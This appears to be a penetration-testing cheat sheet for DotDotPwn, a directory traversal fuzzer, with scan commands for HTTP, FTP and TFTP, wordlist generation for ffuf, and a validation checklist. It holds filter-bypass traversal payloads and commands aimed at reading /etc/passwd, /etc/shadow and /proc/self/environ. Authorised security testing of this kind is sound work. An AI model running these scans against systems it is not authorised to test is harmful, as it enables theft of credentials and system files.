Dotdotpwn

DotDotPwn

Directory traversal fuzzer — HTTP, FTP, TFTP + encoding variants + wordlist export.

Pre-Flight (real usage)

# Confirm installation and available flags for your build
dotdotpwn.pl -h

# Keep target checks explicit: one endpoint, one file marker, one depth window
# This improves signal and avoids over-scanning unstable apps.

Quick Start

apt install dotdotpwn
# or: git clone https://github.com/wireghoul/dotdotpwn && cpan install Net::FTP HTTP::Lite

# HTTP scan
dotdotpwn.pl -m http -h target.com -f /etc/passwd -k "root:" -d 6

# URL with traversal marker (http-url module)
dotdotpwn.pl -m http-url -u "http://target.com/download.php?file=TRAVERSAL" \
    -f /etc/passwd -k "root:" -d 8

# FTP
dotdotpwn.pl -m ftp -h target.com -U admin -P password -O linux

# Generate wordlist only (no target)
dotdotpwn.pl -m payload -d 8 -O linux | sort -u > traversal.txt

Core Flags

Note: option support can differ between package versions and forks; verify with dotdotpwn.pl -h before automating.

Modules

Encoding Variants Generated

DotDotPwn automatically generates all encoding variants:

• ../ basic
• %2e%2e%2f URL encoded
• %252e%252e%252f double URL encoded
• ..%c0%af unicode overlong
• ..%c1%9c alternate unicode
• ....// double slash bypass
• ..%00/ null byte injection

Common Workflows

# Find exact traversal depth
dotdotpwn.pl -m http-url -u "http://target.com/view?file=TRAVERSAL" \
    -f /etc/passwd -k "root:" -X

# Windows target
dotdotpwn.pl -m http -h target.com -O windows -d 8 -q -r windows_results.txt

# Generate wordlist for ffuf (recommended approach)
dotdotpwn.pl -m payload -d 10 -O linux | sort -u > linux_traversal.txt
ffuf -u "http://target.com/page?file=FUZZ" -w linux_traversal.txt -mc 200 -fs 0

# Windows wordlist for ffuf
dotdotpwn.pl -m payload -d 8 -O windows | sort -u > windows_traversal.txt
ffuf -u "http://target.com/file?path=FUZZ" -w windows_traversal.txt -mc 200

# FTP with credentials
dotdotpwn.pl -m ftp -h target.com -U ftpuser -P ftppass -O linux -b

# HTTPS with SSL
dotdotpwn.pl -m http -h target.com -S -x 443 -f /etc/passwd -k "root:" -d 6

# Authenticated HTTP (add auth header via -M flag limitation: use http-url)
dotdotpwn.pl -m http-url \
    -u "http://target.com/download?f=TRAVERSAL" \
    -f /etc/passwd -k "root:" -d 8 -q

# Report
dotdotpwn.pl -m http -h target.com -f /etc/passwd -k "root:" -r report.txt -O linux

Validation Checklist (avoid false positives)

• Re-test the same payload at least twice and compare response body length.
• Confirm marker-based evidence (-k) plus semantic evidence (expected file content).
• Re-run with one depth lower/higher to confirm traversal depth dependency.
• Validate one positive manually in browser/curl before escalating finding.

Common Target Files

# Linux
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/var/log/apache2/access.log

# Windows
windows\win.ini
windows\system32\drivers\etc\hosts
windows\system32\cmd.exe
boot.ini

DotDotPwn vs ffuf + SecLists

Use DotDotPwn for:

• Multi-protocol (FTP/TFTP) — ffuf is HTTP only
• Generating encoding-varied wordlists for ffuf
• Quick HTTP traversal without preparing wordlist
• Depth and encoding exploration when traversal might require non-standard payload forms

Use ffuf + SecLists (LFI-Jhaddix.txt) for:

• Speed-critical HTTP testing
• Already have wordlists
• CI/CD integration

Best hybrid flow:

1. Use DotDotPwn to generate traversal-focused payload corpus.
2. Minimize corpus (sort -u) and reuse with ffuf across multiple endpoints.
3. Validate positives manually (response size, marker keywords, traversal depth).

Resources